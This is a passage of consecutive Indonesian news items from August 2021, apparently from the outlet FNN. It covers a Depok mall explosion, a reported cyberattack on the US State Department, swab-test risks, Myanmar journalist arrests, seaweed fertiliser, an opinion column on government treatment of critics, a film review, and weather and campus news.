RSUI. "Kami juga mengucapkan turut berduka atas musibah yang menimpa Margocity dan para korban yang terkena musibah tersebut. Semoga para korban yang masih dalam perawatan segera diberikan kesembuhan," ujarnya. Terjadi ledakan di pusat perbelanjaan Margocity Depok pada Sabtu sore pukul 16.50 WIB. Ledakan yang cukup keras tersebut mengakibatkan 11 orang terluka yaitu dari Satpam (Satuan Pengamanan), pengunjung dan pegawai tenan. Peristiwa tersebut juga mengakibatkan 3 buah mobil rusak yang terparkir dekat lift barang bagian luar. Sebanyak delapan orang di rawat di Rumah Sakit Bunda Margonda dan tiga orang di rawat di Rumah Sakit Universitas Indonesia (RSUI). (MD)

Departemen Luar Negeri AS Kena Serangan Siber

Washington, FNN - Departemen Luar Negeri Amerika Serikat baru-baru ini terkena serangan siber. Pemberitahuan tentang potensi pelanggaran serius telah dibuat oleh Komando Siber Departemen Pertahanan. Menurut tulisan wartawan Fox News di Twitter, Sabtu (21/8), belum jelas kapan pelanggaran itu ditemukan. Akan tetapi, diyakini telah terjadi beberapa pekan lalu. Ia menambahkan, misi Departemen Luar Negeri yang sedang berlangsung untuk mengevakuasi warga Amerika dan pengungsi sekutu dari Afghanistan "tidak terdampak." Tanpa mengonfirmasi insiden apa pun, salah satu sumber mengatakan kepada Reuters, Departemen Luar Negeri AS tidak mengalami gangguan yang signifikan dan operasi mereka tidak terhambat dengan cara apa pun. "Departemen serius bertanggung jawab mengamankan informasi dan terus melakukan sejumlah langkah guna memastikan informasi terlindungi. Demi alasan keamanan, kami tidak pada posisi membahas karakteristik atau ruang lingkup dari dugaan insiden keamanan siber apa pun saat ini," kata juru bicara Departemen Luar Negeri AS melalui pernyataan. (MD).

Waspadai Komplikasi Akibat Seringnya Swab Hidung dan Nasopharing

Tanjung Pinang, FNN - Meski secara umum dianggap aman, tes usap hidung dan nasopharing (test swap) bukannya tanpa risiko. Individu yang melakukan tes swab dengan pelatihan minimal, memiliki risiko cedera yang jauh lebih tinggi daripada mereka yang dilakukan oleh nakes yang terlatih. “Beberapa kasus menunjukkan kemungkinan cedera intrakranial ketika tes tidak dilakukan dengan tehnik dan prosedur yang benar,” ungkap Dr. dr. Hisnindarsyah, dokter di sebuah rumah sakit di Tanjung Pinang. Komplikasi yang timbul antara lain, kebocoran CSF, ensefalokel, dan meningitis. Di sisi lain, lanjutnya, meningkatnya permintaan untuk swab ini berpotensi mengakibatkan kurangnya pasokan praktisi yang berpengalaman dalam melakukan tes ini. Tingginya test swap hidung dan nasopharing yang dilakukan saat ini, membuat komplikasi yang jarang terjadi, menjadi lebih besar resiko angka kejadiannya, sebanding dengan tingkat populasi terperiksa. Semakin sering swap hidung dan nasopharing dilakukan, semakin besar potensi terjadinya jejas atau trauma berupa iritasi mukosa, meningkatnya resiko terjadi injury atau luka, resiko inflamasi. Dan, kerusakan jaringan. “Terutama di basis cranii atau cibriformis. Apalagi jika dikerjakan pada kurun waktu yang berdekatan,” kata Dokter alumni Universiti Sains Malaysia, Kubang Kerian. Karena resiko ini, tindakan untuk melakukan tes antigen dan PCR sebagai syarat perjalanan yang bertujuan untuk melakukan pembatasan mobilisasi kegiatan masyarakat, merupakan hal yang perlu dipertimbangkan matang. Baik oleh pembuat policy maupun penumpang. “Saya cuma bisa bilang: Waspada dan hati hati,” ujar Dokter Hisnindarsyah mengingatkan. (mth)

Kekerasan Pascakudeta Berlanjut, Myanmar Tangkap Dua Jurnalis Lagi

Naypyitaw, FNN - Pemerintah militer Myanmar telah menangkap dua wartawan lokal dalam kasus terbaru tindakan keras terhadap media sejak kudeta 1 Februari, seperti disampaikan oleh televisi milik militer Myanmar, Sabtu (21/8). Kolumnis untuk situs berita Frontier Myanmar serta komentator di radio Voice of America, Sithu Aung Myint, dan seorang pekerja lepas yang bekerja untuk layanan berita BBC Burma, Htet Htet Khine, ditangkap pada 15 Agustus, menurut berita yang disiarkan Myawaddy TV. Sithu Aung Myint didakwa dengan tuduhan penghasutan dan penyebaran informasi palsu pada unggahan media sosial, yang menurut laporan Myawaddy, dinilai telah mengkritisi junta, mendesak orang-orang untuk bergabung dalam aksi mogok, dan mendukung gerakan-gerakan oposisi yang dilarang. Sementara Htet Htet Khine, ia dituduh telah menyembunyikan Sithu Aung Myint, yang telah dianggap sebagai seorang buronan tersangka kriminal. Khine juga dituduh bekerja untuk dan mendukung pemerintah bayangan Myanmar, Pemerintah Persatuan Nasional. Sebuah organisasi internasional nirlaba, Reporters Without Borders (RSF), mengatakan pada Sabtu bahwa kedua jurnalis itu ditahan "tanpa komunikasi" dan penahanan mereka tidak sah. "Kami mengutuk keras kondisi penahanan mereka yang sewenang-wenang, yang mencerminkan kebrutalan yang dilakukan junta militer terhadap wartawan," kata Daniel Bastard, kepala RSF untuk kawasan Asia-Pasifik. Situasi di Myanmar masih dipenuhi dengan ketidakstabilan dan penentangan terhadap pemerintahan junta. Sudah lebih dari 1.000 orang tewas di negara itu, menurut penghitungan dari sebuah kelompok aktivis yang telah melacak pembunuhan oleh pasukan keamanan Myanmar. Pihak militer Myanmar, yang telah mencabut izin dari banyak outlet berita, mengatakan bahwa mereka menghormati peran media tetapi tidak akan mentolerir pelaporan berita yang diyakini salah atau mungkin menimbulkan keresahan publik. Pada Juli, sebuah laporan oleh Komite Perlindungan Jurnalis menyebutkan bahwa penguasa Myanmar telah secara efektif mengkriminalisasi jurnalisme independen. Human Rights Watch telah mendesak pemerintah militer Myanmar, yang telah menangkap 98 wartawan sejak melakukan kudeta, agar berhenti menuntut awak media. Sebanyak 46 wartawan yang ditangkap itu masih ditahan hingga akhir Juli. (mth)

Anggota DPR: KKP Perlu Fokus Kembangkan Pupuk Hayati dari Rumput Laut

Jakarta, FNN - Anggota Komisi IV DPR RI Andi Akmal Pasluddin menyatakan, Kementerian Kelautan dan Perikanan perlu fokus dalam mengembangkan pupuk hayati dari rumput laut yang merupakan komoditas yang banyak ditemukan di berbagai daerah. "Saya berharap, KKP serius mengembangkan pupuk hayati dari rumput laut dan limbah perikanan sebagai alternatif menyelesaikan persoalan pupuk nasional, baik pupuk subsidi maupun nonsubsidi," kata Andi Akmal Pasluddin dalam keterangan tertulis di Jakarta, Minggu. Akmal meneruskan, berdasarkan dari beberapa kajian yang ada di kampus-kampus, rumput laut yang banyak terdapat di wilayah Indonesia dapat diolah jadi gula hingga bioetanol. Selain ramah lingkungan, lanjutnya, olahan rumput pengganti pupuk kimia ini juga diproduksi dengan bahan-bahan yang mudah ditemukan dan melimpah. "Ketika ini sudah terealisasi, kita semua berharap pada upaya ini akan memberikan manfaat dan peningkatan ekonomi nasional sehingga daya beli masyarakat di kalangan petani dan nelayan dapat meningkat di kemudian hari," ucapnya. Akmal menambahkan, Indonesia merupakan salah satu negara penghasil rumput laut terbesar di dunia yang belum menjadi negara yang mampu mengoptimalkan potensi alam ini untuk melayani kebutuhan dunia. Hal itu, ujar dia, terbukti dari banyaknya hasil olahan produk makanan yang berbahan baku rumput laut malah dipasok oleh sejumlah negara seperti Jepang dan Thailand yang juga masuk di pasar ritel modern di Indonesia. “Saat ini, anggaran pupuk subsidi yang dialokasikan pemerintah sekitar Rp20 triliunan. Bahkan pernah mencapai Rp34 triliun. Itu pun hanya memenuhi sekitar 34 persen kebutuhan pupuk nasional. Terobosan pupuk yang dapat memenuhi kebutuhan ini, bila mampu dilakukan akan menghemat uang negara yang begitu signifikan," paparnya. Sebelumnya, KKP melalui peneliti Badan Riset dan Sumber Daya Manusia Kelautan dan Perikanan (BRSDM) telah menciptakan formula pembuatan pupuk hayati berbasis rumput laut dan limbah perikanan, hingga meraih penghargaan Satyalancana Wira Karya. Pada peringatan HUT RI ke-76 pada tahun 2021 ini, peneliti Balai Besar Riset Pengolahan Produk dan Bioteknologi Kelautan dan Perikanan KKP Jamal Basmal dianugerahi tanda kehormatan Satyalancana Wira Karya dari Presiden RI Joko Widodo, yang diserahkan oleh Menteri Kelautan dan Perikanan Sakti Wahyu Trenggono, bersama para pegawai KKP lainnya, termasuk dari BRSDM. Penghargaan tersebut diberikan kepada mereka atas jasa-jasanya dalam memberikan darma baktinya yang besar kepada negara dan bangsa Indonesia sehingga dapat dijadikan teladan bagi orang lain. Jamal dinilai berhasil menciptakan formula pembuatan pupuk hayati berbasis rumput laut dan limbah perikanan yang memiliki keunggulan sebagai zat pemacu tumbuh yang dapat meningkatkan jumlah produksi tanaman dan mampu menghindarkan dari hama sehingga dapat mengurangi penggunaan pupuk kimia, memperbaiki kualitas tanaman, serta meningkatkan pendapatan masyarakat. Menurut Jamal, pupuk hayati berbasis rumput laut akan memberikan manfaat dan peningkatan ekonomi antara lain membuka peluang bisnis pupuk hayati dengan menggunakan bahan baku rumput laut dan limbah pertanian lainnya serta menggunakan konsorsium mikroba untuk menjamin ketersediaan unsur hara N-P-K dan melindungi tanaman dari hama dan patogen lainnya. “Diharapkan nantinya produk pupuk hayati yang ramah lingkungan dapat mensubstitusi pupuk kimia. Bahan baku rumput laut yang digunakan untuk produksi pupuk hayati bisa menggalakkan budidaya rumput laut di kalangan petani rumput laut," ujar Jamal. (mth)

Intelektual Yang Melelahkan

Oleh Fauzul Iman (Rektor UIN Banten 2017-2021) SOSOK intelktual dari Jepang yang bernama Prancis Fukuyama merasa kelelahan setelah mempertaruhkn ideologi intelektualnya berkolobrasi dengan Presiden Amerika Serikat, George Bush untuk memporakporandakan Irak lewat peperangan biadab. Perang yang paling banyak memusnahkan peradaban menelan nyawa umat manusia saat itu. Fukuyama dengan bukunya yang berjudul Trust: Social Verture and Creation of Prosperity telah menunjukkan sikap trust-nya keluar dari perilaku neokonsertvatif Bush yang sangat ganas menghancurkan peradaban Irak. Fukuyama dengan penuh penyesalan menyatakan bahwa perang ala Bush telah membawa malapetaka dunia. Integritas Fukuyama ini selayaknya menjadi renungan kuat terhadap persoalan yang banyak menimpa di Indonesia dalam situasi pandemi yang belum kunjung padam. Renungan itu terutama pada pemerintah sendiri yang telah membuat kebijakan berhadapan dengan para kaum intelektual yang memberikan masukan dan atau kritik strategis yang disampaikannya. Sejak pandemi korona mulai lahir terjadi semacam kekalutan yang menandai para pejabat negara mengaku belum pengalaman dalam menangani pandemai korona. Sementara saat korona mulai merebak di negara-negara lain bulan Desember 2019, para pejabat Indonesia memandang remeh seraya menyatakan virus korona tidak bakal terjadi di Indonesia. Kenyataannya setelah sebulan kemudian korona menyerbu Indonesia dan banyak menelan korban rakyat. Sejak itu baru pemerintah dengan cepat bercampur sedikit panik berupaya menangani pandemi Covid-19 dengan cara memberlakukan PSBB. Cara ini mulai menuai kritik dari para komponen intelektual yang menginginkan untuk diadakan lockdown dari pada PSBB yang tidak cukup kuat mengatasi pandemi dengan efektif. Sementara Gubernur DKI Anies Baswedan dan beberapa bupati daerah lebih cenderung memilih cara lockdown. Dari sinilah awal munculnya ketidakkekompakan antara pemerintah pusat dan daerah yang membuat kritik dari berbagai kalangan bermunculan termasuk dari rakyat biasa. Pemerintah terkesan memandang angin lalu terhadap kritik yang datang dari berbagai elemen itu. Kebijakan terus berjalan dengan kebijakan lain seakan tidak dipandangnya sebagai masukan positif. Kebijakan lain di situasi pandemi yang teramat sensitif dengan tidak mempertimbangkan sama sekali kondisi psikologi umat. Pemerintah justru mengajukan Rancangan Haluan Ideologi Pancasila (HIP), UU Minerba dan Omnibus Law UU Cipta kerja. Kaum intelektual yang mengkritik keras kali ini lebih besar lagi, tidak hanya dari tokoh kaliber perseorangan tapi juga suara lantang datang dari Ketua Umum PB NU dan Ketua Umum PP Muhamadiyah. Baru setelah pimpinan ormas besar itu turun gunung, Rancangan Undang-undang HIP ditunda pembahasannya hingga sekarang. Para tokoh sedikit gembira, namun tetap dengan umatnya mewaspadai dan terus mengawasinya agar tidak dibahas kembali apalagi diundangkan dengan cara sembunyi-sembunyi oleh komplotan konspirasi pemerintah dan DPR RI. Di samping itu Undang HIP dicurigai umat Islam merupkan upaya penyelundupan kembali ideologi komunis oleh oknum Pemerintah dan DPR. Kaum intelektual baik perorangan maupun yang diwakili tokoh ormas Islam, LSM dan lain lain, tampaknya masih kecewa berat karena Undang-undang Cipta Kerja/Omnibus Law dan Minerba yang tetap disahkan oleh DPR dan diberlakukan dengan begitu cepat. Undang-undang yang ditengarai memberikan karpet merah kepada pengusaha asing dan oligarki itu telah memicu kemarahan masif dari kaum intelektual. Tidak kurang lantangnya tokoh ormas dari Muhamadiyah, NU, dan para buruh/pekerja lemah yang paling merasa banyak menelan korban kerugian turut mengkritik dengan pedas dan keras. Tokoh/pemikir nasionl dari berbagai latar belakang pun tidak tanggung-tanggung secara personafikasi turut mengkritik dengan terang- terangan atas kecerobohan pemerintah dan DPR RI dalam membuat kebijakan yang tidak berpihak kepada rakyat itu. Tokoh kaliber seperti Dien Syamdudin, Kwik kian Gie, Busyro Muqaddas, Said Akil Siraj, Said Didu, Rizal Ramli, Faisal Basri, Rocky Gerung, Didik Rachbini, para aliansi guru besar, dekan dan dosen se-Indonesia yang dipimpin oleh Prof Dr Susi Dwi Hardijanti. Bahkan terakhir aliansi guru besar yang dipimpin oleh Prof Dr Azyumardi Azra telah mendesak KPK agar tunduk pada rekomendasi ambudsman yang menyatakan telah terjadi maladministrasi pada praktek TWK yang dilakukan KPK terhadap 70 para pegawainya. Presiden dalam hal ini terlihat membiarkan kondisi terburuk KPK dan dituduh melakukan upaya pelemahan lembaga anti-rasuah tersebut. Kritik publik yang diwakili para intelektual kaliber semakin menguat dengan berdirinya Organisasi Koalisi Aksi Menyelamatkan Indonesia yang didirikan Prof Dien Syamsuddin. Koalisi berlanjut melakukan diklarasi dimulai dari Jakarta hingga ke daerah. Lagi-lagi pemerintah menggagalkan diklarasi koalisi itu dengan dalih mengganggu PSBB dengan kerumunan tak legal. Beberapa tokoh koalisi dituduh melalukan makar yang berujung ditangkapnya tiga tokoh koalisi yaitu Jumhur Hidayat, Anton Permana, dan Syahganda Nainggolan. Bahkan yang paling mengherankan dan sungguh sangat zalim, Dien Syamsuddin sebagai pimpinan koalisi yang sangat terkenal sebagai pejuang moderasi agama-agama di dunia kerap dibully dan dituduh sebgai tokoh radikal dan diusulkan agar dipecat dari Ketua Majelis Amanah ITB. Tokoh- tokoh lain yang terkenal paling kritis seperti Refly Harun, Said Didu, Rocky Gerung, Fadli Zon dan lain-lain juga tak luput dari serangan bully para buzzer dan kerap dilaporkan ke Bareskrim dengan tuduhan melakukan tindak pidana. Kondisi negara yang makin represif dan kurang memberikan kebebasan kepada suara kaum intelektual ini, membuat Kwik Kian Gie tokoh intelektual/Pakar ekonomi PDIP bernasib mengalami kelelahan intelektual seperti Francis Fukuyama. Bedanya Fukuyama mengalami kelelahan intelektual di tengah neo-konservatif Presiden Bush yang telah melakukan kejahatan kemanusiaan lewat perang Irak. Kwik Kian Gie mengalami kelelahan intelektual berhadapan dengan pemerintah, yang menurutnya represif menghalangi kebebasan intelektual dalam menyampaikan pendapat, pikiran, dan keritik. Kwik tidak ingin lagi bicara mengkritik pemerintah karena takut dengan para buzzer yang suatu saat gampang melaporkannya ke polisi. Dalam jangka pendek, kondisi kelelahan kaum intelektual ini boleh jadi menguntungkn pemerintah karena status quo akan tegak abadi dengan mempertahankan stabilitasnya dengan penuh kesemuan. Namun dalam waktu jangka panjang, bukan tidak mungkin, akan tumbuh otoritarianisme baru dari pemerintah dengan makin leluasa membuat kebijakan baru yang selalu merugikan rakyat. Terbukti sampai hari ini pemerintah masih tetap membuat kebijakan barunya dengan memasung peran kebebasan intelaktual untuk dipercaya memimpin Badan Riset dan Inovasi Nasional (BRIN). Lembaga riset ini justru dikomandoi oleh Megawati, Dewan Pembina BPIP dan pimpinan partai politik terbesar yang sangat dicurigai bertendensi melakukan intervensi kepentingan. *)

Eduversal Kembali Gelar Kompetisi Matematika Daring Tingkat Nasional

Jakarta, FNN - Eduversal Indonesia kembali menyelenggarakan kompetisi matematika daring tingkat nasional atau Eduversal Mathematics Compettion (EMC) yang diselenggarakan pada 6 November 2021. “Ini merupakan pelaksanaan EMC ketiga. EMC pertama kali diselenggarakan pada 2019, dengan sistem bauran dan menggabungkan daring dan luring yang diikuti 3.200 siswa dari seluruh Indonesia,” ujar Direktur Eduversal, Dwi Prajitno Wibowo, di Jakarta, Ahad. Kompetisi itu diharapkan dapat menarik minat siswa untuk semangat berkompetisi sekaligus lebih membumikan peran Matematika dalam setiap aspek kehidupan. Tema EMC 2021 itu adalah Lets Have in Our Path. “Sejatinya Matematika adalah bahasa universal yang digunakan oleh seluruh negara di dunia. Matematika menjadi jembatan bagi seluruh bidang keilmuan agar saling berkomunikasi satu sama lain.” kata Dwi. Dwi menambahkan EMC 2021 diselenggarakan secara daring mengingat kondisi pandemi COVID-19. Pendaftaran EMC 2021 dibuka mulai tanggal 21 Agustus sampai tanggal 29 Oktober 2021. Seluruh proses pendaftaran dan pelaksanaan ujian EMC diselenggarakan dalam satu platform, yaitu https://kompetisi.net/ . Setiap peserta hanya bersaing dengan peserta lain di tingkatan kelas yang sama, sehingga peserta junior tidak perlu takut menghadapi peserta senior. Tahun ini EMC akan dibuka untuk kelas 4 SD/MI sampai kelas 12 SMA/MA. Sementara itu, perwakilan dari Pusat Prestasi Nasional (Puspresnas) Kemendikbudristek, Ade Supriatna mengatakan pihaknya bersyukur EMC dapat mengakomodasi jumlah pendaftar yang begitu besar. “Kami berupaya agar siswa dapat terus berkarya dari rumah dan pantang menyerah dalam kondisi pandemi saat ini. Sehingga, peran orang tua sangat penting sebagai pendamping anak-anak untuk belajar daring,” kata Ade. Ade menambahkan Kemendikbudristek akan menyiapkan mekanisme kolaborasi agar lomba di luar Puspresnas, juga mendapatkan pengakuan pemerintah dari jalur prestasi. Sehingga para juara dan talenta muda termasuk EMC untuk masuk ke perguruan tinggi yang diinginkan agar perkembangan mereka terus terpantau. Koordinator Program EMC 2021, Ridwan Sumitro mengatakan EMC 2021 merebutkan hadiah hingga ratusan juta rupiah. Dalam setiap tingkatan kelas akan dipilih 10 pemenang. Hadiah peringkat pertama, mendapatkan medali emas dan uang tunai Rp4.000.000, peringkat dua mendapatkan medali perak dan uang tunai Rp2.000.000, peringkat tiga mendapatkan medali perunggu dan uang tunai Rp1.000.000, peringkat empat mendapatkan uang tunai Rp500.000, dan perangkat lima hingga 10 masing-masing mendapatkan uang tunai Rp250.000. Ridwan mengatakan peserta lomba tidak perlu pusing kalau lawannya akan berlaku curang, karena secara teknis sangat sulit untuk berbuat curang, sebab kamera peserta harus aktif, soal yang diacak, tidak dapat kembali ke soal berikutnya, lama pengerjaan yang dapat dimonitor, serta soal yang menantang atau bertipe HOTS. Ridwan menambahkan selain kegiatan kompetisi, EMC 2021 juga diiring dengan webinar untuk guru dan orang tua, webinar untuk siswa, tryout matematika untuk umum, serta kegiatan Math Day yang berisi lomba-lomba ringan terkait matematika yang seru dan menyenangkan. (mth)

Glorifikasi Objektifikasi Perempuan dalam Film "Selesai"

Jakarta, FNN - Film "Selesai" (2021) garapan sutradara sekaligus musisi Tompi menuai kritik. Film berdurasi 83 menit itu dianggap merendahkan perempuan dan menormalkan perselingkuhan. Anggapan itu tidak salah. Di tengah kesadaran masyarakat global tentang kesetaraan, film yang bercerita tentang perselingkuhan di dalam rumah tangga Broto Hadisutedjo (Gading Marten) dan Ayudina Samara (Ariel Tatum) ini malah terang-terangan mengobjektifikasi perempuan dan mengeksploitasinya secara seksual. Objektifikasi perempuan terlihat jelas dalam banyak adegan. Bukan hanya terjadi di seputar pemeran utama tetapi juga di peran pendukung. Salah satu adegan yang mengindikasi hal ini adalah ketika Bambang (Imam Darto), pacar Yani (Tika Panggabean) yang merupakan pembantu Ayudina, menjadikan majikan pacarnya sebagai objek fantasi seksual. Ayudina yang saat itu tengah menelepon di halaman belakang rumah, diintip oleh Bambang yang menyelundup ke kamar Yani. Ia pun lantas bermasturbasi sambil melihat Ayudina yang sedang menelepon. Entah apa yang mengharuskan adegan ini ada, alih-alih menjadikannya sisipan komedi dalam film, yang ada justru pelecehan terhadap perempuan. Candaan-candaan bernada seksual dalam film ini terbilang cukup banyak yang sayangnya tidak menambah nilai apa-apa untuk film tersebut, tidak humor tidak juga sensual. Candaan tersebut justru membuat film ini seperti komedi tengah malam yang pernah ditayangkan di salah satu tv swasta. Sementara perilaku misoginis ditunjukan saat Broto terus-menerus menyalahkan istrinya atas apa yang terjadi dalam hubungan mereka. Broto tidak merasa bersalah atas perselingkuhan yang ia lakukan dengan Anya (Anya Geraldine). Ia malah berlagak detektif dengan menuding istrinya melakukan hal yang sama. Ia bahkan menggunakan jasa peretas untuk mengetahui aktivitas ponsel Ayudina. Saat indikasi menguat, Broto justru lebih murka dari kemarahan Ayudina sebelumnya. Kejahatan yang diterima oleh Ayudina tidak hanya dari suaminya, mertuanya yang menjadi alasan Ayudina bertahan dalam hubungan toksik tersebut tanpa disadari juga ikut menghakiminya. Saat Ayudina dicurigai melakukan perselingkuhan, sang mertua (Marini Soerdjosoemarno) malah menyidang keduanya, dia meminta Dimas (Farish Nahdi), adik Broto yang dituduh menjadi selingkuhan Ayudina tanpa menghadirkan Anya yang menjadi selingkuhan Broto. Ibu mertua juga secara paksa memeriksa ponsel Ayudina sementara ponsel Broto, tak diusik sama sekali. Rengekan Ayudina yang meminta keadilan sang mertua sebagai "hakim" pun tak digubris. Penghakiman juga ditunjukkan secara simbolik dari komposisi dan blocking dalam adegan Ayudina menangis dan duduk di tangga, dia meratap dan berkata : "pada akhirnya aku akan selalu sendiri". Dia menjadi satu-satunya karakter yang posisinya di bawah, sementara semua orang, baik Broto, Dimas, Anya, Yani, dan ibu mertuanya hanya berdiri, melihat dia menangis tanpa ada satupun yang prihatin dengannya. Tak sampai disitu, karakter Anya muncul dalam perspektif visual untuk memuaskan pandangan lelaki. Anya direpresentasikan sebagai perempuan manja yang tidak pintar. Karakter Anya dikenalkan lewat adegan hubungan intimnya dengan Broto di dalam mobil. Minim porsi, Anya kemudian hanya muncul sesekali dengan adegan yang lagi-lagi tidak lucu untuk sebuah sisipan komedi. Anya misalnya melakukan sambungan video-call dengan Broto yang menari tanpa busana. Di lain adegan, Anya menelepon Broto di kamar mandi sambil bilang kalau "dia tak pernah pakai celana dalam". Ada juga adegan Anya yang hanya pakai handuk bersama Broto. Rangkaian adegan ini dapat memperkuat stigma bahwa perempuan yang menjadi selingkuhan adalah perempuan yang hanya dapat menonjolkan kecantikan dan tubuhnya saja. Sayang sekali film ini menjadi cacat karena hal-hal tersebut, padahal di awal cerita pengalaman dan pikiran Ayudina sebagai perempuan yang mengalami pernikahan yang tidak sehat sudah ditonjolkan. Dia mengibaratkan hubungan pernikahan seperti roti lapis yang membutuhkan selai untuk merekatkan keduanya, namun salah satu rotinya sudah busuk. Film yang ditulis oleh Imam Darto itu memiliki satu latar tempat dan hanya mempunyai satu fokus permasalahan ini sayangnya tidak memiliki kedalaman dialog. Dalam waktu 86 menit, penonton tidak dapat menemukan alasan mengapa Broto mempertahankan hubungannya dengan Ayudina dan mengapa dia berselingkuh dengan orang yang sama hingga berkali-kali. Apa yang diceritakan dalam film bisa jadi merefleksikan realita kehidupan berumah tangga. Banyak pasangan yang mencoba bertahan dalam hubungan yang tidak sehat, dan sering kali perempuan menjadi korban dan mendapat stigma buruk saat memilih bercerai. Catatan Tahunan Komnas Perempuan melaporkan kasus kekerasan terhadap perempuan paling menonjol selama 2020 adalah kekerasan di ranah personal atau KDRT yaitu sebanyak 6.480 kasus. Kekerasan terhadap istri menempati peringkat pertama sebanyak 3.221 kasus. Bentuk kekerasan paling menonjol adalah kekerasan fisik, kekerasan seksual, psikis dan ekonomi. Lalu apakah untuk menunjukkan film berpihak pada perempuan lantas ceritanya harus memenangkan tokoh perempuan sementara tokoh pria harus terkena azab? Tidak juga. Sutradara boleh saja mempertahankan alur cerita ini asalkan membuang unsur-unsur yang mengobjektifikasi perempuan dan menambahkan rasa empati ke dalam film. Sebutlah film ini adalah karya yang menganut nilai seni untuk seni, namun nyatanya "Selesai" tidak seindah itu. Film ini hanyalah produk kitch layaknya karya-karya sutradara asal Amerika, Wes Anderson. Hal itu jelas terlihat dari pemilihan warna-warna cerah dan senada di dalam film ini. Film menggunakan pencahayaan hangat seperti yang ada di film-film Anderson. Sayangnya pencahayanya cenderung oranye, hal itu membuat penonton sulit mengetahui dimensi waktu dalam film itu, apakah pagi, siang, sore atau malam. Tak hanya perkara dimensi waktu, penonton juga kebingungan dengan lini waktu dalam film ini, apakah semua kejadian ini terjadi dalam waktu satu hari, dua hari, atau jangan-jangan seminggu. Plot cerita maju-mundur di awal film dalam film ini juga mengingatkan dengan plot film "The Grand Budapest Hotel". Beberapa adegan juga dijaga kesimetrisannya, sayangnya di beberapa frame kesimetrisan yang harusnya presisi ini justru menghasilkan ketidaksempurnaan. Misalnya adegan saat Broto, Ayudina, dan Yani berkumpul di dapur. Demi mempertahankan komposisi yang simetris, sutradara memilih membiarkan tubuh pemeran terpotong kamera. Bukannya estetik, adegan itu malah mengganggu mata. Padahal bisa saja sutradara memilih lensa yang lebih lebar atau merapatkan jarak antar pemain. Untuk tata suara film ini menggunakan latar suara paradoks dengan musik ceria untuk adegan yang seharusnya tegang. Sebenarnya sah-sah saja untuk membuat backsound yang paradoks dengan adegan, namun dalam film ini peletakan suara itu seperti salah moment. Agar tak salah "treatment", Tompi bisa mencontoh film "Berbagi Suami" (2006) karya Nia Dinata untuk menerapkan latar suara yang paradoks. Dengan backsound seperti itu, Nia telah mengubah pengalaman penonton dalam melihat poligami, dari tragedi menjadi satir. Meski demikian film ini bukan tidak memiliki potensi untuk menjadi film bagus jika durasi film ini dipadatkan menjadi film pendek dengan dialog yang dalam dan fokus pada permasalah perceraian antara Broto dan Ayudina saja. (mth)

BMKG Ingatkan Masyarakat Waspada Potensi Cuaca Eskstrem

Jakarta, FNN - Badan Meteorologi Klimatologi dan Geofisika (BMKG) mengingatkan masyarakat agar tetap waspada dan berhati-hati terhadap potensi cuaca ekstrem seperti puting beliung, hujan lebat disertai kilat atau petir, hujan es dan lainnya. Dikutip dari laman bmkg.go.id pada Ahad, BMKG juga meminta masyarakat untuk mewaspadai dampak yang dapat ditimbulkan dari cuaca ekstrem seperti banjir, tanah longsor, banjir bandang, genangan, angin kencang, pohon tumbang dan jalan licin. BMKG mengingatkan masyarakat di Aceh, Sumatera Utara, Sumatera Barat, Bengkulu, Sumatera Selatan, Lampung, Banten, Jawa Barat, Jawa Tengah, Jawa Timur, Kalimantan Barat, Kalimantan Tengah, Kalimantan Timur, Kalimantan Utara, Sulawesi Tengah, Sulawesi Barat, Sulawesi Selatan, Sulawesi Tenggara, Maluku Utara, Maluku, Papua Barat, dan Papua untuk mewaspadai potensi cuaca ekstrem pada 22 Agustus dan 23 Agustus 2021. Selanjutnya pada 24 Agustus hingga 26 Agustus 2021, BMKG mengingatkan masyarakat di wilayah Aceh, Sumatera Utara, Sumatera Barat, Riau, Bengkulu, Jambi, Sumatera Selatan, Lampung, Banten, Jawa Barat, Kalimantan Barat, Kalimantan Tengah, Kalimantan Timur, Kalimantan Utara, Sulawesi Utara, Sulawesi Tengah, Sulawesi Barat, Sulawesi Selatan, Sulawesi Tenggara, Maluku Utara, Maluku, Papua Barat dan Papua. BMKG menambahkan kondisi cuaca pada periode 20 Agustus hingga 26 Agustus 2021 cukup bervariasi. Wilayah Bali hingga Nusa Tenggara akan cenderung cerah berawan hingga berawan dengan potensi hujan intensitas sedang dan lebat yang bersifat lokal akan terjadi di sebagian wilayah Banten, Jawa Barat, Jawa Tengah dan Jawa Timur. Sementara untuk wilayah Sumatera, sebagian besar akan berpotensi hujan dengan intensitas sedang hingga lebat. Di wilayah Kalimantan akan dominan hujan ringan dengan potensi hujan sedang hingga lebat terdapat di Kalimantan Barat, Kalimantan Timur dan Kalimantan Tengah. Potensi curah hujan yang cukup signifikan diperkirakan terdapat di sebagian besar wilayah Sulawesi bagian tengah, Maluku dan Papua. (mth)

UNJ Raih Rekor MURI pada Penutupan PKKMB 2021

Jakarta, FNN - Universitas Negeri Jakarta (UNJ) meraih Piagam Penghargaan Museum Rekor-Dunia Indonesia (MURI) atas rekor senam sendok kursi (Sensi) dengan peserta terbanyak yang dilakukan secara virtual oleh 6.433 mahasiswa baru UNJ. Penghargaan tersebut diberikan pada penutupan Pengenalan Kehidupan Kampus bagi Mahasiswa Baru (PKKMB) yang dilakukan secara bauran, yakni secara luring yang diselenggarakan di Cikarang, Jawa Barat, dan daring. “Pelaksanaan PKKMB UNJ 2021 dilakukan berdasarkan Surat Edaran Dirjen Dikti tentang Panduan Umum Pengenalan Kehidupan Kampus bagi Mahasiswa Baru, untuk memberikan pemahaman pada mahasiswa baru agar lebih cepat beradaptasi dalam kehidupan kampus. Jumlah mahasiswa baru pada PKKMB UNJ 2021 sebanyak 6.433 mahasiswa,” ujar Ketua Pelaksana PKKMB UNJ 2021 yang juga Wakil Rektor Bidang Kemahasiswaan dan Alumni UNJ, Dr Abdul Sukur, dalam keterangan tertulisnya di Jakarta, Ahad. Penutupan PKKMB dihadiri oleh Direktur Jenderal Pengelolaan Daerah Aliran Sungai dan Rehabilitasi Hutan Kementerian Lingkungan Hidup dan Kehutanan, Ir Helmi Basalamah MM dan Staf Khusus Kementerian Investasi dan Penanaman Modal, Pradana Indraputra ME, Kepala Dinas Pendidikan Kabupaten Bekasi, Dr Carwinda, Dewan Penyantun UNJ, Prof Sylviana Murni. Penghargaan diberikan langsung oleh Manajer MURI, Awan Rahargo, dan diterima oleh Rektor UNJ Prof Dr Komarudin MSi. “Salah satu rangkaian kegiatan PKKMB UNJ 2021 menjadi atensi kami dimana UNJ melakukan senam virtual oleh peserta mahasiswa baru terbanyak di Indonesia” ujar Awan. Komarudin mengucapkan terima kasih kepada MURI yang kembali memberikan piagam kepada UNJ ketiga kalinya. 